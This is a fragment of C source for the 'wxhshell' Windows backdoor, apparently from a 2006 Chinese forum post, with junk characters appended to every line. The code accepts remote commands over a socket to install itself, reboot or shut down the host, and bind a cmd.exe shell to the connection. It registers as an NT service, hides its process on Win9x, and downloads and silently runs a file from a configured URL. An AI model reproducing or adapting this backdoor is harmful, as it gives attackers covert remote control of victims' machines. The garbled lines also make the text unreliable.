    switch(cmd[0]) { FasA f( 3  
  {yy ^DlHb  
  // 帮助 "s]c79t  
  case '?': { bX:ARe O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qxsK-8KT<  
    break; z6K"}C%  
  } qdB@P  
  // 安装 ':fq  
  case 'i': { &Oq& ikw  
    if(Install()) MT,LO<.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /2&jId  
    else  >y&4gm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `R]9+_"N  
    break; Cr,UP8MO  
    } )hHkaI>eYv  
  // 卸载 (N U*PQY6  
  case 'r': { %:/_O*~)Yg  
    if(Uninstall()) .ya^8gM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hN6j5.x%  
    else szC~?]<YY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N.|Zh+!  
    break; h,q%MZ==^s  
    } L_.BcRy  
  // 显示 wxhshell 所在路径 9IKFrCO9,  
  case 'p': { VN[h0+n4Th  
    char svExeFile[MAX_PATH]; /! kKL$j  
    strcpy(svExeFile,"\n\r"); g(\FG  
      strcat(svExeFile,ExeFile); 63d' fgVp  
        send(wsh,svExeFile,strlen(svExeFile),0); L[d 7@  
    break; Y#_,Ig5.  
    } d* Y&V$?zl  
  // 重启 "qRE1j@%a  
  case 'b': { T1p A <6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5uK:f\y)l  
    if(Boot(REBOOT)) vMXS%Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Lx?RU+@=  
    else { J 21D/#v  
    closesocket(wsh); XQhBnam%  
    ExitThread(0); ;f7(d\=y  
    } q@ >s#  
    break; jd$uOn.r  
    } :J-@+_J  
  // 关机 <h2WM (n  
  case 'd': {  = uZ[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nJ#uz:(w,  
    if(Boot(SHUTDOWN)) ~ jb6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]i*u1  
    else { 3u7N/OQ(  
    closesocket(wsh); edqekjh  
    ExitThread(0); 8 kw`=wSH>  
    } [Z484dS`_  
    break; s#ijpc>h  
    } 9cAb\5c|  
  // 获取shell , e{kC  
  case 's': { ]l>)Di#*o  
    CmdShell(wsh); 8/f ,B:by  
    closesocket(wsh); ^o]ZDc  
    ExitThread(0);  KAmv7  
    break; 1e*+k$-{  
  } *M5 =PQfb  
  // 退出 Y&aFAjj  
  case 'x': { |b{XnD_g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Au$|@  
    CloseIt(wsh); Ql> DS~a  
    break; bR@ e6.<i  
    } .Y!*6I  
  // 离开 +$_W4lf|E2  
  case 'q': { -$L53i&R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o+SD(KVn-  
    closesocket(wsh); SIjdwr!+ZZ  
    WSACleanup(); sTO*  
    exit(1); E)m{m$Hb  
    break; {[PoLOCI  
        } a&~d,vC  
  } T9\wkb.  
  } \X5{>nNh  
<Brq7:n|  
  // 提示信息 3hr&p{/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {%xwoMVc+  
} _e$15qW+  
  } A^_BK(EY  
Mf%0Cx `  
  return; v`MCV29!}  
} 0b9K/a%sQv  
/c~z(wv  
// shell模块句柄 7wsn8_n9  
int CmdShell(SOCKET sock) *,~d!Fc  
{ S1&mY'c  
STARTUPINFO si; dJM)~Ay-  
ZeroMemory(&si,sizeof(si)); wp`a:QZ8N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ["4h%{.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3(G}IWPq<  
PROCESS_INFORMATION ProcessInfo; Y"~I(,nx!  
char cmdline[]="cmd"; ./LD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >tnQuFKg]  
  return 0; zRdL-u%(#  
} 3'6%P_S  
&Vfdq6Y]  
// 自身启动模式 4[|^78  
int StartFromService(void) *SQ hXTn  
{ ~h 6aw  
typedef struct ,F(nkbt  
{ mL`,v WL/`  
  DWORD ExitStatus; |GtTz&  
  DWORD PebBaseAddress; @FKNB.>  
  DWORD AffinityMask; +M!f}=H  
  DWORD BasePriority; pi:%Bd&F  
  ULONG UniqueProcessId; -`gqA%#+  
  ULONG InheritedFromUniqueProcessId; Ub*Gv(Pg  
}   PROCESS_BASIC_INFORMATION; zE5%l`@|o  
9(DS"fgC  
PROCNTQSIP NtQueryInformationProcess; $-m@cObw!.  
\];0S4SBy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V #W,}+_Sz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _eM\ /(v[  
vFL Qq,?Nh  
  HANDLE             hProcess; uyMxBc%6  
  PROCESS_BASIC_INFORMATION pbi; qc\]~]H]r  
cq+|fg~Yy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SuU,SE'TX  
  if(NULL == hInst ) return 0; PXG)?`^NX  
 {A]"/AC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R9nW5f Nf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -hw^3Af  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }YWLXxb;  
?Z= %I$i  
  if (!NtQueryInformationProcess) return 0; 7J,j  
:@{(^}N8u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JsI` #  
  if(!hProcess) return 0; m07= _4  
yKF"\^`@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yo3my>N&g  
Cqy84!Z<  
  CloseHandle(hProcess); ms8de>A|H  
C-lv=FJEk/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;75K:_  
if(hProcess==NULL) return 0; o<bZ.t  
`"zXf-qeE  
HMODULE hMod; GZ,`?  
char procName[255]; ~wf&78  
unsigned long cbNeeded; 8R"c}87  
hdt;_qa   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9`Bmop  
nI.K|hU:P  
  CloseHandle(hProcess); ;QkUW<(  
"n3r,  
if(strstr(procName,"services")) return 1; // 以服务启动 =B@+[b0Z  
 P_6oMR  
  return 0; // 注册表启动 42E]&=Cet  
} lJ;7sgQ#  
ste0:.*qb  
// 主模块 Jt5\  
int StartWxhshell(LPSTR lpCmdLine) <VI.A" Qk~  
{ p A7&  
  SOCKET wsl; UIgs/  
BOOL val=TRUE; "1|n]0BF  
  int port=0; 2\80S[f  
  struct sockaddr_in door; }A,9`  
ekC 1wN l  
  if(wscfg.ws_autoins) Install(); AL@8v=  
QG {KEj2V  
port=atoi(lpCmdLine); \Fg%V>  
dPZrX{ c  
if(port<=0) port=wscfg.ws_port; N Q~keN  
5e=9~].7  
  WSADATA data; Hy=';Ccn}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7pf]h$2  
-L&r2RF/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K}7E;O5m"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); koDIxj'%X  
  door.sin_family = AF_INET; x6Zhw9RV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v&Xsyb0CaM  
  door.sin_port = htons(port); "=<T8M  
LG3D3{H(.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j=b?WNK  
closesocket(wsl); 8AL`<8$  
return 1; /vC|_G|{  
} z6 T3vw  
Ug(;\*yg  
  if(listen(wsl,2) == INVALID_SOCKET) { U4;r.#qw,  
closesocket(wsl); nk=+6r6  
return 1; 2$ m#)*\  
}  %f3qCN  
  Wxhshell(wsl); !YX$4_I  
  WSACleanup(); d[K71  
&h^E_]P  
return 0; }#%3y&7M7  
A$d)xq-]K  
} &%eWCe+ +  
@GTkS!86  
// 以NT服务方式启动 +I~`Ob  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ye!3h&]  
{ pY@$N&+W  
DWORD   status = 0; -u+@5K;^Y  
  DWORD   specificError = 0xfffffff; A#NJ8_  
_mSDz=!Z3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /bm2v;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \tR](, /  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V+`gkWe/  
  serviceStatus.dwWin32ExitCode     = 0; y,&'nk}  
  serviceStatus.dwServiceSpecificExitCode = 0; 0xE37Ld,  
  serviceStatus.dwCheckPoint       = 0; iM \3~3'  
  serviceStatus.dwWaitHint       = 0; 3XykIj1  
=Q+i(UGHi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yf1&"WW4  
  if (hServiceStatusHandle==0) return; aE aU_f /  
'N aNh0y  
status = GetLastError(); G-7!|&  
  if (status!=NO_ERROR) 8w4-Ud*$i  
{ T0HNld  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @nWhUH%  
    serviceStatus.dwCheckPoint       = 0; /Z3 Mlm{  
    serviceStatus.dwWaitHint       = 0; /%&Kbd  
    serviceStatus.dwWin32ExitCode     = status; `G/%U~  
    serviceStatus.dwServiceSpecificExitCode = specificError; aMv?D(Meb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2fqg,_  
    return; Q]h.{nN#PK  
  } Q)]C~Q  
t)qu@m?FZ)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HpLCOY1-  
  serviceStatus.dwCheckPoint       = 0; 9j94]w2v  
  serviceStatus.dwWaitHint       = 0; t+9[ki  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -d-vzri  
} ~,Y xUn8@  
f%,Vplb  
// 处理NT服务事件,比如:启动、停止 %<dvdIB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TEJn;D<1I,  
{ 2uSXC*Phz  
switch(fdwControl) zv%]j0 ?  
{ ]S  
case SERVICE_CONTROL_STOP: gm^j8  B  
  serviceStatus.dwWin32ExitCode = 0; 6DkFIkS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *sJT\J$D[  
  serviceStatus.dwCheckPoint   = 0; gWk?g^KJL  
  serviceStatus.dwWaitHint     = 0; 0Y>5&  
  { pseN!7+or  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fal##6B  
  } EKgY  
  return; r!+..c  
case SERVICE_CONTROL_PAUSE: QT8GP?F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C4[)yJ  
  break; c/6  
case SERVICE_CONTROL_CONTINUE: ;{L~|q J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8_W=)w6  
  break; 8(3n v[  
case SERVICE_CONTROL_INTERROGATE: V><,.p8  
  break; @5RbMf{  
}; )tvP|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :?!b\LJ2^  
} ?d!*[Ke8  
?2(5 2?cJ  
// 标准应用程序主函数 %~e+H|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )k^y<lC2a  
{ '^|u\$&U  
M&[bb $00j  
// 获取操作系统版本 8NZQTRdH  
OsIsNt=GetOsVer(); J#'8]p3E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }AW"2<@  
 Y+d+  
  // 从命令行安装 OA7YWk<K  
  if(strpbrk(lpCmdLine,"iI")) Install(); *SK`&V  
$,.XPK5Q u  
  // 下载执行文件 ]Y3NmL  
if(wscfg.ws_downexe) { 11^.oa+`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H*H~~yQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); MD):g @  
} 79*f <Gr  
9 _oAs"w  
if(!OsIsNt) { A+=K<e  
// 如果时win9x,隐藏进程并且设置为注册表启动 @fQvAok  
HideProc(); 5r1u_8)'  
StartWxhshell(lpCmdLine); A.9ZFFz  
} c4f3Dr'xw  
else ;x|7"lE  
  if(StartFromService()) h`n) b  
  // 以服务方式启动 JT p+&NS  
  StartServiceCtrlDispatcher(DispatchTable); ,+4*\yI3l  
else x%'5 rnm|  
  // 普通方式启动 a.z)m} +  
  StartWxhshell(lpCmdLine); |1pD n7  
BROn2aSx%  
return 0; rRvZG&k  
}
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只看该作者 1 发表于: 2006-10-10
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